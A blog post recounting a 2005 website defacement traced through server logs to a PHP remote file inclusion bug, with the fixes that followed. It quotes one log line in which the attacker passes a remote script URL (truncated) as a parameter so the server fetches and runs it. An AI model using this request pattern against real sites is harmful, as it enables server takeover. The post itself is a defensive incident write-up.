Safe PHP – a contradiction in terms?

Yesterday, a website where one of my friends is a webmaster was hacked. Actually, to be more precise, the site was “defaced”, meaning the hacker replaced the standard entry page with one of his choice. Such replacement pages usually proclaim the hacker’s intelligence and technical “skillz”. This is an extremely popular technique and some hackers even warn the site owners before doing it, giving them a fair chance to close the bug.

Generally speaking, when a site is hacked the first step is locate the exact method which was used by the attacker and immediately close any loopholes. Of course, preserving logs and how the hacked site looks is also essential, if legal action needs to be taken later. Finally, it is important to determine if the hacker installed a backdoor, which allows later access to the system even if the security hole was closed, and kill it.

My friends’ site was hosted by a serious ISP and the machine itself was running the latest versions of Linux, Apache, PHP, MySQL, SSH, Perl and every other popular piece of software which comes by default in a standard hosting account.
Therefore, it was obvious from the start that the chance of having been attacked through a flaw in the hosting system was close to zero.

After poking through the logs for a little while, we located the first index reload after the hack and noticed that it was coming through a free anonymous proxy-based browsing service. Being a site about photography and art in general, it seemed to me that it was unlikely for somebody to browse it through an anonymizer service. I did a quick search for all the entries coming from the respective anonymous proxy IP address, and sure enough, the following did seem interesting:

82.96.x.x – – [07/May/2005:00:53:36 -0700] “GET /x_open.php?art=http://geocities.com/…[true link removed]

“x_open.php” from above is a general purpose script which integrates new articles in the site layout. Basically, it takes an article and draws a menu, a toolbar and other page components around it. The bug? Well, the PHP directive “include” doesn’t care if the parameter is a local file or a remote one. It will happily download something remote, and execute it on the local machine within the context of the initial script. The same is true for many other PHP functions, which are powerful enough to handle a local or a remote file in the same manner. When the PHP code for my friends’ website was written, the programmer probably forgot about this “feature”; the code created was seriously flawed, leaving the server vulnerable. It took only a few months before a hacker noted the peculiar URL structure (.php script receiving another .php script as parameter) and misused it to deface the website.

We’ve repaired the code to prevent opening of arbitrary files from the web or even the local machine, fixed the same bug in a dozen other scripts, sent a complaint to Geocities for hosting the trojan PHP script which was injected in the server and contacted the owners of anonymous proxy forwarder to obtain the original IP address used by the hacker. With a little bit of luck, we’ll be able to locate the attacker and thank him accordingly.

As for the morale of this story? Well, PHP is a very powerful programming language and it can be used to design really wonderful things – the software equivalent of a very sharp cutting tool. Yet, if not used properly, it can be just as dangerous.

With that in mind, PHPBB has just released version 2.0.15 which fixes (between other things) one serious bug. If you run PHPBB, update as soon as possible: Download PHPBB 2.0.15